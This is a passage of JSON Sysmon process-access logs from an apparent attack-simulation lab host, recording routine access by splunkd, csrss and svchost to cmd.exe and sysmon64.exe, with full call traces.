Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 